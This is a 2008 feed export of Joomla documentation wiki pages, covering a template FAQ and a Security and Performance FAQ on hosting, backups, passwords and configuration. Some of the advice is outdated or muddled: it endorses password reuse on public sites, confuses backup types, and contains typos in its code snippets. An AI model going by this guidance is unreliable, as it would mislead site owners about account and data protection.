         &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2&amp;amp;Itemid=9&amp;quot;&lt;br /&gt;
         class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         Newsflash 1 &lt;br /&gt;
         &amp;lt;/a&amp;gt; &lt;br /&gt;
         &amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=3&amp;amp;Itemid=9&amp;quot;&lt;br /&gt;
         class=&amp;quot;latestnews&amp;quot;&amp;gt;Newsflash 2&lt;br /&gt;
         &amp;lt;/a&amp;gt;&lt;br /&gt;
         &amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=6&amp;amp;Itemid=2&amp;quot;&lt;br /&gt;
         class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         Example News Item 1&lt;br /&gt;
         &amp;lt;/a&amp;gt;&lt;br /&gt;
         &amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         &amp;lt;a href=&amp;quot;http://localhost/projects/1112rc2/index.php?option=com_content&amp;amp;task=view&amp;amp;id=9&amp;amp;Itemid=2&amp;quot;&lt;br /&gt;
         class=&amp;quot;latestnews&amp;quot;&amp;gt;&lt;br /&gt;
         Example News Item 4&lt;br /&gt;
         &amp;lt;/a&amp;gt;&lt;br /&gt;
         &amp;lt;/li&amp;gt;&lt;br /&gt;
       &amp;lt;/ul&amp;gt;&lt;br /&gt;
       &amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;/tr&amp;gt;&lt;br /&gt;
   &amp;lt;/tbody&amp;gt;&lt;br /&gt;
 &amp;lt;/table&amp;gt;&lt;br /&gt;
 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In Joomla! 1.5 each switch has a style associated with it.&lt;br /&gt;
&lt;br /&gt;
		switch -3:    $style = &#039;rounded&#039;;&lt;br /&gt;
                switch -2:  $style = &#039;xhtml&lt;br /&gt;
                switch  -1:  $stylle = &#039;raw&#039;;&lt;br /&gt;
		switch   0 :$style = &#039;table&#039;;&lt;br /&gt;
&lt;br /&gt;
===How do I add a position to a template?===&lt;br /&gt;
To create a &amp;quot;new&amp;quot; position chose one of the names from the list of positions shown in&lt;br /&gt;
Site&amp;gt;[[Template Manager]]&amp;gt;Module Positions&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In your template add&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;?php mosLoadModules (&#039;position_name&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You will want to surround it with approprate html so that it appears where you want it to and with the formatting you want.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===How do I change the image(s) in my template?===&lt;br /&gt;
One common [[Template|template]] change is to use your own graphic/image. Simple graphics (not [[Banner|banners]]) are linked in the [[HTML]] file. Simply change the reference to the image of your choice in the HTML file of your template.  Do this by, in the [[Back-end|adminsitrative interface]], going to Site&amp;gt;&amp;gt;[[Template Manager]] and then selecting your template. Click the icon for html.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that if it is a different size than the original image this may change the appearance of the site in unexpected ways.&lt;br /&gt;
&lt;br /&gt;
The images for a given template are generally located in this folder:&lt;br /&gt;
 /templates/&#039;&#039;templatename&#039;&#039;/images &lt;br /&gt;
(where you substitute the name of the template you are using.)&lt;br /&gt;
&lt;br /&gt;
===How do I collapse an empty position in a template?===&lt;br /&gt;
Very often the question is asked on how to collapse a position in any template. Note collapse here means &amp;quot;not show&amp;quot; if no modules are published to these columns.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Here is a method on how to do this as an example with the tremendous popular [[rhuk_solarflare]] template:&lt;br /&gt;
&lt;br /&gt;
open &amp;lt;tt&amp;gt;../templates/rhuk_solarflare_ii/index.php&amp;lt;/tt&amp;gt; and find and replace this:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;div id=&amp;quot;left_outer&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div id=&amp;quot;left_inner&amp;quot;&amp;gt;&lt;br /&gt;
          &amp;lt;?php mosLoadModules ( &#039;left&#039;, -2 ); ?&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;/div&amp;gt;&lt;br /&gt;
    &amp;lt;div id=&amp;quot;content_outer&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
with this :&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;?php&lt;br /&gt;
      if ( !(mosCountModules( &#039;left&#039; )) ) {&lt;br /&gt;
    ?&amp;gt;&lt;br /&gt;
     &amp;lt;div id=&amp;quot;content_outer2&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;?&lt;br /&gt;
     }&lt;br /&gt;
     else {&lt;br /&gt;
     ?&amp;gt;&lt;br /&gt;
     &amp;lt;div id=&amp;quot;left_outer&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;div id=&amp;quot;left_inner&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;?php mosLoadModules ( &#039;left&#039;, -2 ); ?&amp;gt;&lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
     &amp;lt;/div&amp;gt;&lt;br /&gt;
     &amp;lt;div id=&amp;quot;content_outer&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;?&lt;br /&gt;
     }&lt;br /&gt;
    ?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
and save the file.&lt;br /&gt;
&lt;br /&gt;
Then open &amp;lt;tt&amp;gt;../templates/rhuk_solarflare_ii/css/template_css.css&amp;lt;/tt&amp;gt; file and add:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;css&amp;quot;&amp;gt;&lt;br /&gt;
 #content_outer2 {&lt;br /&gt;
    padding: 0px;&lt;br /&gt;
    margin-top: 0px;&lt;br /&gt;
    margin-left: 0px;&lt;br /&gt;
    /** border: 1px solid #cccccc; **/&lt;br /&gt;
    float: left;&lt;br /&gt;
    width: 800px;&lt;br /&gt;
  }&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save and your left column now will collapse when you don&#039;t publish anything to it!&lt;br /&gt;
&lt;br /&gt;
This method you can multiply to any template if you try to follow the logic of the code!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===CSS Text/Font Resizing (A+ A-) on Joomla Template===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
I recognize that there are some of you who are sort of scratching your heads wondering how to get from where your site is now to where joomla.org&#039;s is. So for those of you wanting it laid out all the way, here&#039;s a more detailed instruction set that summarizes and extends what has already been said through the course of this thread:&lt;br /&gt;
&lt;br /&gt;
*Step 1 - download joomla.org&#039;s font style switcher file ([http://demo.joomla.org/1.5/templates/beez/javascript/md_stylechanger.js md_stylechanger.js])&lt;br /&gt;
*Step 2 - put that file somewhere in the folder of the template you are using&lt;br /&gt;
*Step 3 - put A+, A-, and Reset images in your template&#039;s image folder&lt;br /&gt;
*Step 4 - paste the following code snippet somewhere in your template&#039;s index.php file&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- PLEASE! avoid extra-wide lines that may cause scrollbars in common screen-sizes &lt;br /&gt;
     and wrap ~ 80 chars / attribute level for better readability --&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php &lt;br /&gt;
// shortcut of template URL used in src attributes&lt;br /&gt;
$template_url = $mosConfig_live_site .&#039;/templates/&#039;. $mainframe-&amp;gt;getTemplate(); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot; language=&amp;quot;javascript&amp;quot; &lt;br /&gt;
       src=&amp;quot;&amp;lt;?php echo $template_url; ?&amp;gt;/____1____&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;index.php&amp;quot; title=&amp;quot;Increase size&amp;quot; onclick=&amp;quot;changeFontSize(1);return false;&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;img src=&amp;quot;&amp;lt;?php echo $template_url; ?&amp;gt;/images/____2____&amp;quot; alt=&amp;quot;&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;index.php&amp;quot; title=&amp;quot;Decrease size&amp;quot; onclick=&amp;quot;changeFontSize(-1);return false;&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;img src=&amp;quot;&amp;lt;?php echo $template_url; ?&amp;gt;/images/____3____&amp;quot; alt=&amp;quot;&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;index.php&amp;quot; title=&amp;quot;Revert styles to default&amp;quot; onclick=&amp;quot;revertStyles(); return false;&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;img src=&amp;quot;&amp;lt;?php echo $template_url; ?&amp;gt;/images/____4____&amp;quot; alt=&amp;quot;&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Step 5: Do all of the following:&lt;br /&gt;
*# Replace ____1____ with the location in your template folder where you saved the .js file&lt;br /&gt;
*# Replace ____2____ with the name of your A+ image&lt;br /&gt;
*# Replace ____3____ with the name of your A- image&lt;br /&gt;
*# Replace ____4____ with the name of your Reset image&lt;br /&gt;
&lt;br /&gt;
*Step 6: Do one of the following:&lt;br /&gt;
** Bask in the awesomeness that is session font resizing&lt;br /&gt;
** Start figuring out why the buttons do nothing (either because your site doesn&#039;t use style classes, or because I messed up somewhere)&lt;br /&gt;
&lt;br /&gt;
===Can I remove the &amp;quot;Powered by Joomla!&amp;quot; message?===&lt;br /&gt;
&lt;br /&gt;
Yes. You may remove that message, which is in &amp;lt;tt&amp;gt;footer.php&amp;lt;/tt&amp;gt;. You may however &#039;&#039;&#039;not&#039;&#039;&#039; remove copyright and license information from the source code.&lt;br /&gt;
&lt;br /&gt;
===How do I make it so my modules are laid out horizontally?===&lt;br /&gt;
&lt;br /&gt;
See [[Administration_FAQs#How_do_I_control_whether_modules_are_vertically_or_horizontally_arranged.3F | How do I control whether modules are vertically or horizontally arranged?]]&lt;br /&gt;
&lt;br /&gt;
[[Category:FAQ]]&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=9560</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=9560"/>
		<updated>2008-07-27T22:11:57Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add to faq category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
| &#039;&#039;&#039;Applications&#039;&#039;&#039;&lt;br /&gt;
| &#039;&#039;&#039;Industry Leader&#039;&#039;&#039;&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|+&lt;br /&gt;
| &#039;&#039;&#039;Support&#039;&#039;&#039;&lt;br /&gt;
| &#039;&#039;&#039;Relative Quality&#039;&#039;&#039;&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|+&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039;&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
The [[Joomla! Administrator&#039;s Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Seek PHP flexibility:&#039;&#039;&#039; Choose a host that allows you to use either PHP4 or PHP5.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and scripting languages.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each other&#039;s files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts porn or SMAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider Recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://help.joomla.org/component/option,com_easyfaq/task,view/id,186/Itemid,268/ Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/joomla_and_unix_file_permissions_-_explanation/60.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/joomla_and_windows_file_permissions_-_explanation/60.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/faq/view/joomla_security_tips/permissions_under_phpsuexec/60.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&#039;&#039;&#039;Bold text&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? [[Image:Compat_10.png]]==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a bad idea and has been depreciated. Although Joomla&#039;s RG_Emulation is safer than PHP &#039;&#039;register_globals&#039;&#039;, it&#039;s best not to allow any form of automatic variable assignments. Beginning with PHP6, this will not even be an option. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; OFF. Best advise: Don&#039;t use such extensions!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
